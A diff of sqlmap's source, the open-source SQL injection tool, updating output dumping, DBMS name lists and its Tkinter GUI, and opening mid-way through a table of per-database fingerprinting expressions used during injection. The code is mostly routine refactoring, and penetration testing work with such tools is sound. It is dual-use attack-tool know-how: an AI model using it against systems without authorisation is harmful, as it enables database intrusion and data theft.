DBMS.MCKOI: "TONUMBER(NULL)",
|
||||||
|
DBMS.PRESTO: "FROM_HEX(NULL)",
|
||||||
|
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
|
||||||
|
DBMS.MIMERSQL: "ASCII_CHAR(256)",
|
||||||
|
DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite
|
||||||
|
DBMS.CUBRID: "(NULL SETEQ NULL)",
|
||||||
}
|
}
|
||||||
|
|
||||||
SQL_STATEMENTS = {
|
SQL_STATEMENTS = {
|
||||||
|
|
|
@ -1,11 +1,10 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import cgi
|
|
||||||
import hashlib
|
import hashlib
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
@ -31,6 +30,7 @@ from lib.core.convert import getBytes
|
||||||
from lib.core.convert import getConsoleLength
|
from lib.core.convert import getConsoleLength
|
||||||
from lib.core.convert import getText
|
from lib.core.convert import getText
|
||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import getUnicode
|
||||||
|
from lib.core.convert import htmlEscape
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
@ -69,13 +69,12 @@ class Dump(object):
|
||||||
self._lock = threading.Lock()
|
self._lock = threading.Lock()
|
||||||
|
|
||||||
def _write(self, data, newline=True, console=True, content_type=None):
|
def _write(self, data, newline=True, console=True, content_type=None):
|
||||||
if conf.api:
|
|
||||||
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
|
|
||||||
return
|
|
||||||
|
|
||||||
text = "%s%s" % (data, "\n" if newline else " ")
|
text = "%s%s" % (data, "\n" if newline else " ")
|
||||||
|
|
||||||
if console:
|
if conf.api:
|
||||||
|
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
|
||||||
|
|
||||||
|
elif console:
|
||||||
dataToStdout(text)
|
dataToStdout(text)
|
||||||
|
|
||||||
multiThreadMode = isMultiThreadMode()
|
multiThreadMode = isMultiThreadMode()
|
||||||
|
@ -108,16 +107,12 @@ class Dump(object):
|
||||||
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
|
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
def getOutputFile(self):
|
|
||||||
return self._outputFile
|
|
||||||
|
|
||||||
def singleString(self, data, content_type=None):
|
def singleString(self, data, content_type=None):
|
||||||
self._write(data, content_type=content_type)
|
self._write(data, content_type=content_type)
|
||||||
|
|
||||||
def string(self, header, data, content_type=None, sort=True):
|
def string(self, header, data, content_type=None, sort=True):
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(data, content_type=content_type)
|
self._write(data, content_type=content_type)
|
||||||
return
|
|
||||||
|
|
||||||
if isListLike(data):
|
if isListLike(data):
|
||||||
self.lister(header, data, content_type, sort)
|
self.lister(header, data, content_type, sort)
|
||||||
|
@ -137,8 +132,6 @@ class Dump(object):
|
||||||
self._write("%s:\n---\n%s\n---" % (header, _))
|
self._write("%s:\n---\n%s\n---" % (header, _))
|
||||||
else:
|
else:
|
||||||
self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _))
|
self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _))
|
||||||
else:
|
|
||||||
self._write("%s:\tNone" % header)
|
|
||||||
|
|
||||||
def lister(self, header, elements, content_type=None, sort=True):
|
def lister(self, header, elements, content_type=None, sort=True):
|
||||||
if elements and sort:
|
if elements and sort:
|
||||||
|
@ -151,7 +144,6 @@ class Dump(object):
|
||||||
|
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(elements, content_type=content_type)
|
self._write(elements, content_type=content_type)
|
||||||
return
|
|
||||||
|
|
||||||
if elements:
|
if elements:
|
||||||
self._write("%s [%d]:" % (header, len(elements)))
|
self._write("%s [%d]:" % (header, len(elements)))
|
||||||
|
@ -172,10 +164,10 @@ class Dump(object):
|
||||||
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
|
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
|
||||||
|
|
||||||
def currentDb(self, data):
|
def currentDb(self, data):
|
||||||
if Backend.isDbms(DBMS.MAXDB):
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB):
|
||||||
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB):
|
||||||
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||||
else:
|
else:
|
||||||
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||||
|
|
||||||
|
@ -203,7 +195,6 @@ class Dump(object):
|
||||||
|
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(userSettings, content_type=content_type)
|
self._write(userSettings, content_type=content_type)
|
||||||
return
|
|
||||||
|
|
||||||
if userSettings:
|
if userSettings:
|
||||||
self._write("%s:" % header)
|
self._write("%s:" % header)
|
||||||
|
@ -237,7 +228,6 @@ class Dump(object):
|
||||||
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
|
self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
|
||||||
return
|
|
||||||
|
|
||||||
maxlength = 0
|
maxlength = 0
|
||||||
|
|
||||||
|
@ -280,7 +270,6 @@ class Dump(object):
|
||||||
if isinstance(tableColumns, dict) and len(tableColumns) > 0:
|
if isinstance(tableColumns, dict) and len(tableColumns) > 0:
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(tableColumns, content_type=content_type)
|
self._write(tableColumns, content_type=content_type)
|
||||||
return
|
|
||||||
|
|
||||||
for db, tables in tableColumns.items():
|
for db, tables in tableColumns.items():
|
||||||
if not db:
|
if not db:
|
||||||
|
@ -354,7 +343,6 @@ class Dump(object):
|
||||||
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
|
self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
|
||||||
return
|
|
||||||
|
|
||||||
maxlength1 = len("Table")
|
maxlength1 = len("Table")
|
||||||
maxlength2 = len("Entries")
|
maxlength2 = len("Entries")
|
||||||
|
@ -413,7 +401,6 @@ class Dump(object):
|
||||||
|
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
|
self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
|
||||||
return
|
|
||||||
|
|
||||||
dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
|
dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
|
||||||
|
|
||||||
|
@ -559,7 +546,7 @@ class Dump(object):
|
||||||
else:
|
else:
|
||||||
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
|
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
|
||||||
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||||
dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace")))
|
dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))
|
||||||
|
|
||||||
field += 1
|
field += 1
|
||||||
|
|
||||||
|
@ -631,7 +618,7 @@ class Dump(object):
|
||||||
else:
|
else:
|
||||||
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
|
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
|
||||||
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||||
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace")))
|
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
|
||||||
|
|
||||||
field += 1
|
field += 1
|
||||||
|
|
||||||
|
@ -651,7 +638,7 @@ class Dump(object):
|
||||||
|
|
||||||
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
||||||
rtable.endTransaction()
|
rtable.endTransaction()
|
||||||
logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath))
|
logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath))
|
||||||
|
|
||||||
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
|
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
|
||||||
if conf.dumpFormat == DUMP_FORMAT.HTML:
|
if conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||||
|
@ -669,7 +656,6 @@ class Dump(object):
|
||||||
def dbColumns(self, dbColumnsDict, colConsider, dbs):
|
def dbColumns(self, dbColumnsDict, colConsider, dbs):
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
|
self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
|
||||||
return
|
|
||||||
|
|
||||||
for column in dbColumnsDict.keys():
|
for column in dbColumnsDict.keys():
|
||||||
if colConsider == "1":
|
if colConsider == "1":
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -42,9 +42,18 @@ class DBMS(object):
|
||||||
PGSQL = "PostgreSQL"
|
PGSQL = "PostgreSQL"
|
||||||
SQLITE = "SQLite"
|
SQLITE = "SQLite"
|
||||||
SYBASE = "Sybase"
|
SYBASE = "Sybase"
|
||||||
|
INFORMIX = "Informix"
|
||||||
HSQLDB = "HSQLDB"
|
HSQLDB = "HSQLDB"
|
||||||
H2 = "H2"
|
H2 = "H2"
|
||||||
INFORMIX = "Informix"
|
MONETDB = "MonetDB"
|
||||||
|
DERBY = "Apache Derby"
|
||||||
|
VERTICA = "Vertica"
|
||||||
|
MCKOI = "Mckoi"
|
||||||
|
PRESTO = "Presto"
|
||||||
|
ALTIBASE = "Altibase"
|
||||||
|
MIMERSQL = "MimerSQL"
|
||||||
|
CRATEDB = "CrateDB"
|
||||||
|
CUBRID = "Cubrid"
|
||||||
|
|
||||||
class DBMS_DIRECTORY_NAME(object):
|
class DBMS_DIRECTORY_NAME(object):
|
||||||
ACCESS = "access"
|
ACCESS = "access"
|
||||||
|
@ -60,6 +69,28 @@ class DBMS_DIRECTORY_NAME(object):
|
||||||
HSQLDB = "hsqldb"
|
HSQLDB = "hsqldb"
|
||||||
H2 = "h2"
|
H2 = "h2"
|
||||||
INFORMIX = "informix"
|
INFORMIX = "informix"
|
||||||
|
MONETDB = "monetdb"
|
||||||
|
DERBY = "derby"
|
||||||
|
VERTICA = "vertica"
|
||||||
|
MCKOI = "mckoi"
|
||||||
|
PRESTO = "presto"
|
||||||
|
ALTIBASE = "altibase"
|
||||||
|
MIMERSQL = "mimersql"
|
||||||
|
CRATEDB = "cratedb"
|
||||||
|
CUBRID = "cubrid"
|
||||||
|
|
||||||
|
class FORK(object):
|
||||||
|
MARIADB = "MariaDB"
|
||||||
|
MEMSQL = "MemSQL"
|
||||||
|
PERCONA = "Percona"
|
||||||
|
COCKROACHDB = "CockroachDB"
|
||||||
|
TIDB = "TiDB"
|
||||||
|
REDSHIFT = "Amazon Redshift"
|
||||||
|
GREENPLUM = "Greenplum"
|
||||||
|
DRIZZLE = "Drizzle"
|
||||||
|
IGNITE = "Apache Ignite"
|
||||||
|
AURORA = "Aurora"
|
||||||
|
ENTERPRISEDB = "EnterpriseDB"
|
||||||
|
|
||||||
class CUSTOM_LOGGING(object):
|
class CUSTOM_LOGGING(object):
|
||||||
PAYLOAD = 9
|
PAYLOAD = 9
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
155
lib/core/gui.py
155
lib/core/gui.py
|
@ -1,48 +1,55 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
|
import tempfile
|
||||||
import threading
|
import threading
|
||||||
import webbrowser
|
import webbrowser
|
||||||
|
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.common import saveConfig
|
||||||
|
from lib.core.data import paths
|
||||||
from lib.core.defaults import defaults
|
from lib.core.defaults import defaults
|
||||||
|
from lib.core.enums import MKSTEMP_PREFIX
|
||||||
from lib.core.exception import SqlmapMissingDependence
|
from lib.core.exception import SqlmapMissingDependence
|
||||||
from lib.core.settings import DEV_EMAIL_ADDRESS
|
from lib.core.settings import DEV_EMAIL_ADDRESS
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import ISSUES_PAGE
|
from lib.core.settings import ISSUES_PAGE
|
||||||
from lib.core.settings import GIT_PAGE
|
from lib.core.settings import GIT_PAGE
|
||||||
from lib.core.settings import SITE
|
from lib.core.settings import SITE
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
from lib.core.settings import WIKI_PAGE
|
from lib.core.settings import WIKI_PAGE
|
||||||
from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox
|
|
||||||
from thirdparty.six.moves import queue as _queue
|
from thirdparty.six.moves import queue as _queue
|
||||||
|
|
||||||
|
alive = None
|
||||||
line = ""
|
line = ""
|
||||||
process = None
|
process = None
|
||||||
queue = None
|
queue = None
|
||||||
|
|
||||||
def runGui(parser):
|
def runGui(parser):
|
||||||
try:
|
try:
|
||||||
import tkinter
|
from thirdparty.six.moves import tkinter as _tkinter
|
||||||
import tkinter.scrolledtext
|
from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext
|
||||||
import tkinter.ttk
|
from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk
|
||||||
|
from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox
|
||||||
except ImportError as ex:
|
except ImportError as ex:
|
||||||
raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex))
|
raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex))
|
||||||
|
|
||||||
# Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
|
# Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
|
||||||
class ConstrainedEntry(tkinter.Entry):
|
class ConstrainedEntry(_tkinter.Entry):
|
||||||
def __init__(self, master=None, **kwargs):
|
def __init__(self, master=None, **kwargs):
|
||||||
self.var = tkinter.StringVar()
|
self.var = _tkinter.StringVar()
|
||||||
self.regex = kwargs["regex"]
|
self.regex = kwargs["regex"]
|
||||||
del kwargs["regex"]
|
del kwargs["regex"]
|
||||||
tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs)
|
_tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs)
|
||||||
self.old_value = ''
|
self.old_value = ''
|
||||||
self.var.trace('w', self.check)
|
self.var.trace('w', self.check)
|
||||||
self.get, self.set = self.var.get, self.var.set
|
self.get, self.set = self.var.get, self.var.set
|
||||||
|
@ -54,23 +61,23 @@ def runGui(parser):
|
||||||
self.set(self.old_value)
|
self.set(self.old_value)
|
||||||
|
|
||||||
# Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
|
# Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
|
||||||
class AutoresizableNotebook(tkinter.ttk.Notebook):
|
class AutoresizableNotebook(_tkinter_ttk.Notebook):
|
||||||
def __init__(self, master=None, **kw):
|
def __init__(self, master=None, **kw):
|
||||||
tkinter.ttk.Notebook.__init__(self, master, **kw)
|
_tkinter_ttk.Notebook.__init__(self, master, **kw)
|
||||||
self.bind("<<NotebookTabChanged>>", self._on_tab_changed)
|
self.bind("<<NotebookTabChanged>>", self._on_tab_changed)
|
||||||
|
|
||||||
def _on_tab_changed(self,event):
|
def _on_tab_changed(self, event):
|
||||||
event.widget.update_idletasks()
|
event.widget.update_idletasks()
|
||||||
|
|
||||||
tab = event.widget.nametowidget(event.widget.select())
|
tab = event.widget.nametowidget(event.widget.select())
|
||||||
event.widget.configure(height=tab.winfo_reqheight())
|
event.widget.configure(height=tab.winfo_reqheight())
|
||||||
|
|
||||||
window = tkinter.Tk()
|
window = _tkinter.Tk()
|
||||||
window.title(VERSION_STRING)
|
window.title(VERSION_STRING)
|
||||||
|
|
||||||
# Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
|
# Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
|
||||||
style = tkinter.ttk.Style()
|
style = _tkinter_ttk.Style()
|
||||||
settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e" }, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}}
|
settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}}
|
||||||
style.theme_create("custom", parent="alt", settings=settings)
|
style.theme_create("custom", parent="alt", settings=settings)
|
||||||
style.theme_use("custom")
|
style.theme_use("custom")
|
||||||
|
|
||||||
|
@ -110,48 +117,19 @@ def runGui(parser):
|
||||||
line = ""
|
line = ""
|
||||||
event.widget.master.master.destroy()
|
event.widget.master.master.destroy()
|
||||||
return "break"
|
return "break"
|
||||||
|
except:
|
||||||
|
return
|
||||||
|
|
||||||
event.widget.insert(tkinter.END, "\n")
|
event.widget.insert(_tkinter.END, "\n")
|
||||||
|
|
||||||
counter = 0
|
|
||||||
while True:
|
|
||||||
line = ""
|
|
||||||
try:
|
|
||||||
#line = queue.get_nowait()
|
|
||||||
line = queue.get(timeout=.1)
|
|
||||||
event.widget.insert(tkinter.END, line)
|
|
||||||
counter = 0
|
|
||||||
except _queue.Empty:
|
|
||||||
event.widget.see(tkinter.END)
|
|
||||||
event.widget.update_idletasks()
|
|
||||||
if counter > 3:
|
|
||||||
break
|
|
||||||
else:
|
|
||||||
counter += 1
|
|
||||||
|
|
||||||
return "break"
|
return "break"
|
||||||
|
|
||||||
def run():
|
def run():
|
||||||
|
global alive
|
||||||
global process
|
global process
|
||||||
global queue
|
global queue
|
||||||
|
|
||||||
ON_POSIX = "posix" in sys.builtin_module_names
|
config = {}
|
||||||
|
|
||||||
def enqueue(stream, queue):
|
|
||||||
for line in iter(stream.readline, b''):
|
|
||||||
queue.put(line)
|
|
||||||
stream.close()
|
|
||||||
|
|
||||||
process = subprocess.Popen("/bin/bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=ON_POSIX)
|
|
||||||
|
|
||||||
# Reference: https://stackoverflow.com/a/4896288
|
|
||||||
queue = _queue.Queue()
|
|
||||||
thread = threading.Thread(target=enqueue, args=(process.stdout, queue))
|
|
||||||
thread.daemon = True
|
|
||||||
thread.start()
|
|
||||||
|
|
||||||
|
|
||||||
options = {}
|
|
||||||
|
|
||||||
for key in window._widgets:
|
for key in window._widgets:
|
||||||
dest, type = key
|
dest, type = key
|
||||||
|
@ -168,18 +146,40 @@ def runGui(parser):
|
||||||
else:
|
else:
|
||||||
value = bool(widget.var.get())
|
value = bool(widget.var.get())
|
||||||
|
|
||||||
options[dest] = value
|
config[dest] = value
|
||||||
|
|
||||||
for option in parser.option_list:
|
for option in parser.option_list:
|
||||||
options[option.dest] = defaults.get(option.dest, None)
|
config[option.dest] = defaults.get(option.dest, None)
|
||||||
|
|
||||||
parser._args = options
|
handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
top = tkinter.Toplevel()
|
saveConfig(config, configFile)
|
||||||
|
|
||||||
|
def enqueue(stream, queue):
|
||||||
|
global alive
|
||||||
|
|
||||||
|
for line in iter(stream.readline, b''):
|
||||||
|
queue.put(line)
|
||||||
|
|
||||||
|
alive = False
|
||||||
|
stream.close()
|
||||||
|
|
||||||
|
alive = True
|
||||||
|
|
||||||
|
process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN)
|
||||||
|
|
||||||
|
# Reference: https://stackoverflow.com/a/4896288
|
||||||
|
queue = _queue.Queue()
|
||||||
|
thread = threading.Thread(target=enqueue, args=(process.stdout, queue))
|
||||||
|
thread.daemon = True
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
top = _tkinter.Toplevel()
|
||||||
top.title("Console")
|
top.title("Console")
|
||||||
|
|
||||||
# Reference: https://stackoverflow.com/a/13833338
|
# Reference: https://stackoverflow.com/a/13833338
|
||||||
text = tkinter.scrolledtext.ScrolledText(top, undo=True)
|
text = _tkinter_scrolledtext.ScrolledText(top, undo=True)
|
||||||
text.bind("<Key>", onKeyPress)
|
text.bind("<Key>", onKeyPress)
|
||||||
text.bind("<Return>", onReturnPress)
|
text.bind("<Return>", onReturnPress)
|
||||||
text.pack()
|
text.pack()
|
||||||
|
@ -187,24 +187,37 @@ def runGui(parser):
|
||||||
|
|
||||||
center(top)
|
center(top)
|
||||||
|
|
||||||
menubar = tkinter.Menu(window)
|
while True:
|
||||||
|
line = ""
|
||||||
|
try:
|
||||||
|
# line = queue.get_nowait()
|
||||||
|
line = queue.get(timeout=.1)
|
||||||
|
text.insert(_tkinter.END, line)
|
||||||
|
except _queue.Empty:
|
||||||
|
text.see(_tkinter.END)
|
||||||
|
text.update_idletasks()
|
||||||
|
|
||||||
filemenu = tkinter.Menu(menubar, tearoff=0)
|
if not alive:
|
||||||
filemenu.add_command(label="Open", state=tkinter.DISABLED)
|
break
|
||||||
filemenu.add_command(label="Save", state=tkinter.DISABLED)
|
|
||||||
|
menubar = _tkinter.Menu(window)
|
||||||
|
|
||||||
|
filemenu = _tkinter.Menu(menubar, tearoff=0)
|
||||||
|
filemenu.add_command(label="Open", state=_tkinter.DISABLED)
|
||||||
|
filemenu.add_command(label="Save", state=_tkinter.DISABLED)
|
||||||
filemenu.add_separator()
|
filemenu.add_separator()
|
||||||
filemenu.add_command(label="Exit", command=window.quit)
|
filemenu.add_command(label="Exit", command=window.quit)
|
||||||
menubar.add_cascade(label="File", menu=filemenu)
|
menubar.add_cascade(label="File", menu=filemenu)
|
||||||
|
|
||||||
menubar.add_command(label="Run", command=run)
|
menubar.add_command(label="Run", command=run)
|
||||||
|
|
||||||
helpmenu = tkinter.Menu(menubar, tearoff=0)
|
helpmenu = _tkinter.Menu(menubar, tearoff=0)
|
||||||
helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE))
|
helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE))
|
||||||
helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE))
|
helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE))
|
||||||
helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
|
helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
|
||||||
helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
|
helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
|
||||||
helpmenu.add_separator()
|
helpmenu.add_separator()
|
||||||
helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2019\n\n (%s)" % DEV_EMAIL_ADDRESS))
|
helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2020\n\n (%s)" % DEV_EMAIL_ADDRESS))
|
||||||
menubar.add_cascade(label="Help", menu=helpmenu)
|
menubar.add_cascade(label="Help", menu=helpmenu)
|
||||||
|
|
||||||
window.config(menu=menubar)
|
window.config(menu=menubar)
|
||||||
|
@ -216,33 +229,33 @@ def runGui(parser):
|
||||||
frames = {}
|
frames = {}
|
||||||
|
|
||||||
for group in parser.option_groups:
|
for group in parser.option_groups:
|
||||||
frame = frames[group.title] = tkinter.Frame(notebook, width=200, height=200)
|
frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200)
|
||||||
notebook.add(frames[group.title], text=group.title)
|
notebook.add(frames[group.title], text=group.title)
|
||||||
|
|
||||||
tkinter.Label(frame).grid(column=0, row=0, sticky=tkinter.W)
|
_tkinter.Label(frame).grid(column=0, row=0, sticky=_tkinter.W)
|
||||||
|
|
||||||
row = 1
|
row = 1
|
||||||
if group.get_description():
|
if group.get_description():
|
||||||
tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=tkinter.W)
|
_tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=_tkinter.W)
|
||||||
tkinter.Label(frame).grid(column=0, row=2, sticky=tkinter.W)
|
_tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W)
|
||||||
row += 2
|
row += 2
|
||||||
|
|
||||||
for option in group.option_list:
|
for option in group.option_list:
|
||||||
tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=tkinter.W)
|
_tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W)
|
||||||
|
|
||||||
if option.type == "string":
|
if option.type == "string":
|
||||||
widget = tkinter.Entry(frame)
|
widget = _tkinter.Entry(frame)
|
||||||
elif option.type == "float":
|
elif option.type == "float":
|
||||||
widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z")
|
widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z")
|
||||||
elif option.type == "int":
|
elif option.type == "int":
|
||||||
widget = ConstrainedEntry(frame, regex=r"\A\d*\Z")
|
widget = ConstrainedEntry(frame, regex=r"\A\d*\Z")
|
||||||
else:
|
else:
|
||||||
var = tkinter.IntVar()
|
var = _tkinter.IntVar()
|
||||||
widget = tkinter.Checkbutton(frame, variable=var)
|
widget = _tkinter.Checkbutton(frame, variable=var)
|
||||||
widget.var = var
|
widget.var = var
|
||||||
|
|
||||||
first = first or widget
|
first = first or widget
|
||||||
widget.grid(column=1, row=row, sticky=tkinter.W)
|
